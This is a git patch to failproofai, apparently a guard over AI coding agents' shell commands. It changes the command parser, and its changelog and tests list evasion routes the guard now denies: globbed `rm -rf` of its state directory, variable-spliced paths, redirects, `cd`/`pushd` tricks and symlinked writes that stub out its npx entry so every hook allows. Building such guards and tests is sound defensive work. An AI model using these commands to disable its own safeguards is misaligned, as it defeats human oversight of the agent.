"strip-program", "suffix", "target-directory"], + flags: [ + "backup", "compare", "context", "directory", "help", "no-target-directory", "preserve-context", + "preserve-timestamps", "strip", "unprivileged", "verbose", "version", + ], + }, rsync: { short: "@BefMT", - long: [ - "address", "backup-dir", "block-size", "bwlimit", "checksum-choice", "checksum-seed", "chmod", "chown", + values: [ + "address", "backup-dir", "block-size", "bwlimit", "cc", "checksum-choice", "checksum-seed", "chmod", "chown", "compare-dest", "compress-choice", "compress-level", "contimeout", "copy-as", "copy-dest", "debug", "early-input", "exclude", "exclude-from", "files-from", "filter", "groupmap", "iconv", "include", "include-from", "info", "link-dest", "log-file", "log-file-format", "max-alloc", "max-delete", "max-size", "min-size", "modify-window", "only-write-batch", "outbuf", "out-format", "partial-dir", "password-file", "port", "protocol", "read-batch", "remote-option", "rsh", "rsync-path", "skip-compress", "sockopts", - "stop-after", "suffix", "temp-dir", "timeout", "usermap", "write-batch", + "stop-after", "stop-at", "suffix", "temp-dir", "timeout", "usermap", "write-batch", "zc", "zl", + ], + flags: [ + "acls", "append", "append-verify", "archive", "atimes", "backup", "blocking-io", "checksum", "compress", + "copy-devices", "copy-dirlinks", "copy-links", "copy-unsafe-links", "crtimes", "cvs-exclude", "daemon", "del", + "delay-updates", "delete", "delete-after", "delete-before", "delete-delay", "delete-during", + "delete-excluded", "delete-missing-args", "devices", "dirs", "dry-run", "executability", "existing", + "fake-super", "force", "from0", "fsync", "fuzzy", "group", "hard-links", "help", "human-readable", + "ignore-errors", "ignore-existing", "ignore-missing-args", "ignore-times", "inplace", "ipv4", "ipv6", + "itemize-changes", "keep-dirlinks", "links", "list-only", "mkpath", "munge-links", "no-implied-dirs", + "no-motd", "numeric-ids", "old-args", "old-d", "old-dirs", "omit-dir-times", "omit-link-times", + "one-file-system", "open-noatime", "owner", "partial", "perms", "preallocate", "progress", + "prune-empty-dirs", "quiet", "recursive", "relative", "remove-source-files", "safe-links", "secluded-args", + "size-only", "sparse", "specials", "stats", "stderr", "super", "times", "trust-sender", "update", "verbose", + "version", "whole-file", "write-devices", "xattrs", ], }, }; +/** + * The long option `name` stands for, and whether it takes a value: an exact + * name first, so `--partial` is not read as an abbreviation of + * `--partial-dir` and made to swallow the next word, then the one option an + * abbreviation can only mean. Ambiguous or unknown, the command refuses to run. + */ +function longOptionOf( + options: { values: readonly string[]; flags: readonly string[] }, + name: string, +): { full: string; value: boolean } | undefined { + if (options.values.includes(name)) return { full: name, value: true }; + if (options.flags.includes(name)) return { full: name, value: false }; + const matches = [ + ...options.values.filter((full) => full.startsWith(name)).map((full) => ({ full, value: true })), + ...options.flags.filter((full) => full.startsWith(name)).map((full) => ({ full, value: false })), + ]; + return name.length > 0 && matches.length === 1 ? matches[0] : undefined; +} + /** * npm's bin directory, `node_modules/.bin`. A directory moved, linked or copied * recursively ONTO it brings entries the line never names: @@ -985,6 +1049,8 @@ const GLOB_DECOYS = [ // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the // sweep it is rather than an aim at failproofai's. "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. + ".openai", ]; /** @@ -1150,9 +1216,10 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - // Somebody else's home is the same place as the candidates' `/home/u`: + // `//`, `/./` and `..` change nothing a shell opens (`~//.failproof*`), and + // somebody else's home is the same place as the candidates' `/home/u`: // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. - const segments = word + const segments = (/\/\/|(?:^|\/)\.\.?\//.test(word) ? shellPath(undefined, word) : word) .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") .split("/"); @@ -1164,13 +1231,16 @@ function wordNamesState(word: string): boolean { // And every stretch that starts after a `/`, because the paths the // multi-segment candidates stand for can sit under any directory: // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word - // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch - // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches - // `.failproofai` by name, and no decoy can tell it from an aim at the state. + // (FailproofAI/agenteye#1795). A one-segment stretch only when it starts + // with a literal `.`: a shell's `*` never matches a dotfile, so `models/*ai` + // cannot reach `.failproofai`, while `/var/lib/jenkins/.failproof*` — a home + // no candidate spells — can. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 2; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; + const first = segments[start].startsWith(".") ? start + 1 : start + 2; + for (let end = first; end <= last; end++) { + const candidates = end - start === 1 ? STATE_GLOB_CANDIDATES : MULTI_SEGMENT_GLOB_CANDIDATES; + if (globPrefixNamesState(segments.slice(start, end).join("/"), candidates)) return true; } } return false; @@ -1409,35 +1479,79 @@ function commandBasename(token: string): string { const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; +/** + * A simple command split the way a shell splits it: on whitespace outside + * quotes, so `-H 'X-Ticket: #1795'` is one word. `quoted` says the word starts + * inside quotes or with an escape, where `#` and `>` are characters, not a + * comment or a redirect. + */ +function shellWords(text: string): Array<{ raw: string; quoted: boolean }> { + const words: Array<{ raw: string; quoted: boolean }> = []; + let current = ""; + let started = false; + let quoted = false; + let quote: string | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote === null && /\s/.test(ch)) { + if (started) words.push({ raw: current, quoted }); + current = ""; + started = false; + continue; + } + if (!started) { + started = true; + quoted = ch === "'" || ch === '"' || ch === "\\"; + } + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + current += text[++i]; + } else if (quote === null && (ch === "'" || ch === '"')) { + quote = ch; + } else if (ch === quote) { + quote = null; + } + } + if (started) words.push({ raw: current, quoted }); + return words; +} + /** * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on (`words`). Mirrors the walk in + * and return the words from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. * - * `trimmed` is the same words with redirects and a comment taken out after the - * command word. The copy checks take the LAST operand for the destination, so a redirect or + * Redirects and a comment are not words, after the command word either. The + * copy checks take the LAST operand for the destination, so a redirect or a * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and - * `… node_modules/.bin/failproofai # keep` both walked through. But a token is - * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or - * `-name 'x #'` would cut off the real words after it. Neither list is right - * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). - */ -function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { - const all = simpleCommand - .trim() - .split(/\s+/) - .map((raw) => ({ raw, token: bareToken(raw) })) - .filter(({ token }) => token !== ""); - const tokens = all.map(({ token }) => token); + * `… node_modules/.bin/failproofai # keep` both walked through, while + * `uniq -c < ` read the file it only reads as one it writes. Split + * on whitespace alone, a quoted `#` or `<` cut off the real words after it, so + * the command is split the way a shell splits it (`shellWords`) + * (FailproofAI/agenteye#1795). A command word starting with `#` is a comment line. + */ +function commandWordList(simpleCommand: string): string[] { + const split = (text: string) => shellWords(text).map(({ raw, quoted }) => ({ raw, quoted, token: bareToken(raw) })); + const all = split(simpleCommand.trim()); let i = 0; - while (i < tokens.length) { - const token = tokens[i]; + for (let programs = 0; i < all.length; ) { + const { raw, quoted, token } = all[i]; + if (token === "") { + i++; + continue; + } + // A quoted word where the command goes is a program handed to a shell + // (`bash -c 'rm -rf …'`): its own words are the command. + if (quoted && /\s/.test(token) && programs++ < 4) { + all.splice(i, 1, ...split(token)); + continue; + } // A redirect operator and, when it stands alone, the token it targets — // `> file` must not leave `file` sitting where the command word goes. - if (/^\d*(?:>{1,2}\|?|<{1,3})/.test(token)) { - i += /^\d*(?:>{1,2}\|?|<{1,3})$/.test(token) ? 2 : 1; + if (!quoted && REDIRECT_OPERATOR_RE.test(raw)) { + i += LONE_REDIRECT_OPERATOR_RE.test(raw) ? 2 : 1; continue; } const skippable = @@ -1449,18 +1563,17 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st if (!skippable) break; i++; } - const trimmed: string[] = []; + const words: string[] = []; for (let j = i; j < all.length; j++) { - // Judged on the token as written: a quoted `">"` or `"#"` is an argument. - const { raw, token } = all[j]; - if (j > i && raw.startsWith("#")) break; - if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + const { raw, quoted, token } = all[j]; + if (!quoted && raw.startsWith("#")) break; + if (j > i && !quoted && REDIRECT_OPERATOR_RE.test(raw)) { if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - trimmed.push(token); + words.push(token); } - return { words: tokens.slice(i), trimmed }; + return words; } /** @@ -1513,16 +1626,17 @@ function landsInDirectoryAs( const value = eq === -1 ? undefined : arg.slice(eq + 1); // GNU takes any unambiguous prefix of a long option: `--target DIR` is // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. - if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + const option = longOptionOf(options, name); + if (option?.full === "target-directory") { directory = value ?? args[++i]; - } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { - ontoItself = true; - } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + } else if (option?.value) { + if (value === undefined) i++; + } else if (option?.full === "recursive" || option?.full === "archive") { recursive = true; - } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { + } else if (option?.full === "no-target-directory") { + ontoItself = true; + } else if (option?.full === "directory" && head === "install") { createsDirectories = true; - } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { - if (value === undefined) i++; } continue; } @@ -1763,15 +1877,28 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (stateVars.size === before) break; } + // Asked again and again for the same words (every check below, for the words + // as written and as expanded), so answered once per text. + const named = new Map(); + const globbed = new Map(); + const globNamesState = (token: string): boolean => { + let verdict = globbed.get(token); + if (verdict === undefined) globbed.set(token, (verdict = globCouldNameState(token))); + return verdict; + }; const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; - for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { - if (stateVars.has(name)) return true; + let verdict = named.get(text); + if (verdict !== undefined) return verdict; + verdict = FAILPROOFAI_STATE_PATH_RE.test(text); + for (const [, name] of verdict ? [] : text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) verdict = true; } // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + verdict ||= text.split(/\s+/).some((token) => globNamesState(unquotedToken(token))); + named.set(text, verdict); + return verdict; }; let cwdInState = false; @@ -1791,55 +1918,140 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. - let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let shellDir = startDir ? shellTail(shellPath(undefined, startDir)) : undefined; // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) // may have put the shell in npm's bin directory, so until the next one it can // follow, a relative word is also judged as if it stood in an installed // location (`AS_IF_INSTALLED`). let lostTrack = false; - type Where = { dir: string | undefined; lost: boolean }; + type Where = { dir: string | undefined; lost: boolean; inState: boolean }; let previous: Where | null = null; const dirStack: Where[] = []; const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; - // A relative word read from where the shell stands, and `..` resolved in any. + const here = (): Where => ({ dir: shellDir, lost: lostTrack, inState: cwdInState }); + // A relative word read from where the shell stands, and `//`, `.` and `..` + // resolved in any. const inShell = (word: string): string => - relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; - const judged = new Map(); - const judge = (path: string): boolean => { - let verdict = judged.get(path); - if (verdict === undefined) judged.set(path, (verdict = namesState(path))); - return verdict; - }; - const namesHere = (text: string): boolean => { - if (namesState(text)) return true; + relativeWord(word) && shellDir !== undefined + ? shellPath(shellDir, word) + : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) + ? shellPath(undefined, word) || "." + : word; + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text); + // Whether `text`, read from where the shell stands, names what `namesState` + // protects — asked apart from `namesState(text)` where the whole line has + // already been judged as written. + const resolvesOntoState = (text: string): boolean => { + // An option is not a path to read from where the shell stands. + if (text.startsWith("-")) return false; // Every pattern spells `failproof`, so only a word or a directory that - // does, or a glob that could, can resolve onto one. - if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; - if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); + // does, or a glob that could, can resolve onto one. A glob as written is + // already tried against every candidate that starts with a relative + // directory, so it is read from where the shell stands only when that is a + // directory a candidate continues from by one name (`node_modules/.bin` + // and `fail*`), or when it climbs out with `..`. + const spellsName = /failproof/i.test(text) || /failproof/i.test(shellDir ?? ""); + if (!spellsName) { + if (!GLOB_METACHAR_RE.test(text)) return false; + const parent = (shellDir ?? "").slice((shellDir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!lostTrack && !GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + } + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => namesState(dir + text)); const resolved = inShell(text); - return resolved !== text && judge(resolved); + return resolved !== text && namesState(resolved); }; // What the line assigns, so a word built from it is judged as the path it - // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands, `$HOME` is `~`. A variable the line never sets stays a - // reference, and a `cd` into one is a `cd` the walk cannot follow. + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` and `~+` are + // where the shell stands, `~-` where it stood, `$HOME` is `~` unless the line + // sets it. A variable the line never sets stays a reference, and a `cd` into + // one is a `cd` the walk cannot follow. Every word is judged as written as + // well, so an assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(assignments); const expand = (word: string): string => { let out = word; + if (out.startsWith("~+") && shellDir !== undefined && !lostTrack) out = shellDir + out.slice(2); + else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && shellDir !== undefined && !lostTrack ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); + // A value that refers to itself grows with every pass. + if (out.length > 4096) return word; } return out; }; - const moveTo = (to: Where) => { - previous = { dir: shellDir, lost: lostTrack }; - shellDir = to.dir; + // `full` is the directory before `shellTail` cuts it, so a deep path inside + // the state is still known to be inside it; `named` is the operand as + // written, judged when the walk cannot follow it. + const moveTo = (to: Where | { dir: string | undefined; lost: boolean; full?: string; named?: string }) => { + previous = here(); + shellDir = to.dir === undefined ? undefined : shellTail(to.dir); lostTrack = to.lost; - cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); + cwdInState = + "inState" in to + ? to.inState + : (!to.lost && to.dir !== undefined && namesState(to.full ?? to.dir)) || (to.named !== undefined && namesState(to.named)); cdParenDepth = cwdInState ? parenDepth : null; }; + const moveToWord = (target: string, named: string) => { + if (/\$|`/.test(target)) { + moveTo({ dir: undefined, lost: true, named }); + return; + } + const full = shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target); + moveTo({ dir: full, lost: lostTrack && relativeWord(target), full, named }); + }; + // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on + // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the + // shell where it was, never somewhere safe. `+N` / `-N` count entries the + // way `dirs` lists them: the current directory first, then the stack from + // its top. `cd -` is `$OLDPWD` and a bare `cd` is `$HOME`, either of which + // the line may set itself. + const moveShell = (head: string, args: string[], expandedArgs: string[]) => { + const at = here(); + const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + const named = k === -1 ? undefined : args[k]; + const operand = k === -1 ? undefined : expandedArgs[k]; + if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { + const entries = [at, ...[...dirStack].reverse()]; + const n = Number(operand.slice(1)); + const index = operand.startsWith("+") ? n : entries.length - 1 - n; + if (index < 0 || index >= entries.length) return; + if (head === "pushd") { + const rotated = [...entries.slice(index), ...entries.slice(0, index)]; + dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); + moveTo(rotated[0]); + } else if (entries.length > 1) { + const rest = entries.filter((_, i) => i !== index); + dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); + if (index === 0) moveTo(rest[0]); + } + return; + } + if (head === "popd") { + const top = dirStack.pop(); + if (top) moveTo(top); + return; + } + if (head === "pushd" && operand === undefined) { + const top = dirStack.pop(); + if (top) { + dirStack.push(at); + moveTo(top); + } + return; + } + if (operand === "-") { + const oldpwd = values.get("OLDPWD"); + if (oldpwd !== undefined) moveToWord(expand(oldpwd), oldpwd); + else if (previous) moveTo(previous); + return; + } + if (operand === "") return; + if (head === "pushd") dirStack.push(at); + const target = operand ?? expand("$HOME"); + moveToWord(target, named ?? target); + }; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do @@ -1860,56 +2072,37 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; + const written = target.replace(/^["']|["']$/g, ""); + if (namesHere(written) || namesHere(expand(written))) return true; } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing, and a substitution's - // are not a subshell: `cd $(npm root)/.bin` moves this shell. - const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); + // Parentheses inside quotes or escaped open and close nothing, and a + // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; - const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); - const words = lists[0]; + const words = commandWordList(simple); + const expanded = words.map(expand); + const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) { - shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); - } - const at: Where = { dir: shellDir, lost: lostTrack }; - const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); - // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails - // and leaves the shell where it was. - if (head === "popd") { - const top = dirStack.pop(); - if (top) moveTo(top); - } else if (head === "pushd" && operand === undefined) { - // A bare `pushd` swaps the top two directories. - const top = dirStack.pop(); - if (top) { - dirStack.push(at); - moveTo(top); - } - } else if (operand === "-") { - if (previous) moveTo(previous); - } else { - if (head === "pushd") dirStack.push(at); - // No operand is home. - const target = operand ?? "~"; - moveTo( - /\$|`/.test(target) - ? { dir: undefined, lost: true } - : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, - ); + shellDirScopes.push({ depth: parenDepth, at: here(), previous, stack: dirStack.slice() }); } + moveShell(head, words.slice(1), expanded.slice(1)); } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( words.length > 0 && - (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + // Operands only: the command word is a program, not a path written to. + // The line as written is `reachesState`; a word adds to it only by + // resolving from where the shell stands, or by what expansion made it. + (reachesState || + words.some((word, k) => k > 0 && (resolvesOntoState(word) || (expanded[k] !== word && namesHere(expanded[k]))))) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` @@ -1921,10 +2114,14 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) cwdInState = false; cdParenDepth = null; } + // Leaving a subshell puts back where the shell stood before it, inside + // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { const scope = shellDirScopes.pop()!; shellDir = scope.at.dir; lostTrack = scope.at.lost; + cwdInState = scope.at.inState; + cdParenDepth = cwdInState ? parenDepth : null; previous = scope.previous; dirStack.splice(0, dirStack.length, ...scope.stack); } @@ -1943,6 +2140,14 @@ const SHELL_DIR_SEGMENTS = 16; */ const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; +/** + * The directories a glob candidate continues from by one name: `.bin` and + * `bin` hold the entry, `node_modules` and `.pnpm` the package, `pnpm` is + * pnpm's home. Only from these can a relative glob that does not spell the + * name itself (`fail*`) land on installed code. + */ +const GLOB_PARENT_DIRECTORIES = new Set([".bin", "bin", "node_modules", ".pnpm", "pnpm"]); + /** * `text` without its `$(…)` command substitutions, so their parentheses are * not counted as a subshell's. One left open runs to the end of the text. @@ -1977,22 +2182,34 @@ function couldBeEntryName(name: string): boolean { /** * `word` read from directory `base` (as given when absolute, or with no base), - * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and - * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern - * matches the END of a path, so the dropped head never decides anything, and - * the cut keeps a script of a thousand `cd`s from growing every later word. + * with `//`, `.` and `..` resolved as text, the way a shell's logical `cd` + * does. */ function shellPath(base: string | undefined, word: string): string { + const joined = base === undefined ? word : `${base}/${word}`; + const absolute = joined.startsWith("/"); const parts: string[] = []; - for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { - if (part === ".") continue; - if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { - parts.pop(); + for (const part of joined.split("/")) { + if (part === "" || part === ".") continue; + if (part === "..") { + if (parts.length > 0 && parts[parts.length - 1] !== "..") parts.pop(); + else if (!absolute) parts.push(part); continue; } parts.push(part); } - return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); + return (absolute ? "/" : "") + parts.join("/"); +} + +/** + * A directory cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected + * pattern matches the END of a path, so the dropped head never decides + * anything, and the cut keeps a script of a thousand `cd`s from growing every + * later word it is joined to. + */ +function shellTail(path: string): string { + const parts = path.split("/"); + return parts.length > SHELL_DIR_SEGMENTS ? parts.slice(-SHELL_DIR_SEGMENTS).join("/") : path; } const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; From cefee6bd2531bbdaed21ead12e99b384c6143124 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:02:46 +0530 Subject: [PATCH 36/60] Close the walk gaps CodeRabbit found in the npx entry guard - A command word named like an Object property (`constructor`, `__proto__`) threw inside the guard, and the evaluator skips a policy that throws. The option table is a Map now, and a walk that throws denies instead. - A `cd` that may fail keeps the directory it left possible for whatever follows a `;`, `||`, `&` or newline; only `&&` waits for it. `popd`, `cd -` and a `cd` back to the session's own directory return somewhere that exists, so they do not. - `pushd -n` / `popd -n` change the stack only, and a `cd` in a pipeline stage moves nothing after it. - Writes follow symlinks: those on disk, as the file tools already do, and those the same line makes with `ln -s`. - A `..` that climbs above the sixteen directories the walk reads from is read from the whole path. - Shim globs (`failproofai.[c]md`) count as the entry, a trailing slash no longer hides a moved `.bin` directory, rsync no longer reads as making the destination a copy of a source directory, and outside a loop a variable is read as it stands at that point of the line. - The launcher check covers every event of every project-scope integration, and the docs say Pi's project hooks do not use npx. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 104 ++++- docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 437 +++++++++++++++----- 4 files changed, 434 insertions(+), 111 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5a890de38..51bf45466 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd`, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 626e0961f..05d0ad1fa 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -135,6 +135,25 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs it("still allows other files through the same link", async () => { expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); }); + + // The shell follows the same links the file tools do. + it.each([ + "printf x > tools/bins/failproofai", + "cp /tmp/stub.sh tools/bins/failproofai", + "cp /tmp/stage/failproofai tools/bins/", + "tee tools/bins/failproofai < /tmp/stub.sh", + "printf x > tools/hook", + ])("denies a shell write through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + expect(await bash(`cd ${join(root, "proj")} && ${command}`)).toBe("deny"); + }); + + it.each(["printf x > tools/bins/my-script", "cat tools/bins/failproofai", "ls -la tools/bins/ > listing.txt"])( + "still allows shell work through a link: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); }); // The entry, and nothing else that lives beside it or shares its name. @@ -344,6 +363,24 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["install --strip", "install --strip /tmp/stage/failproofai 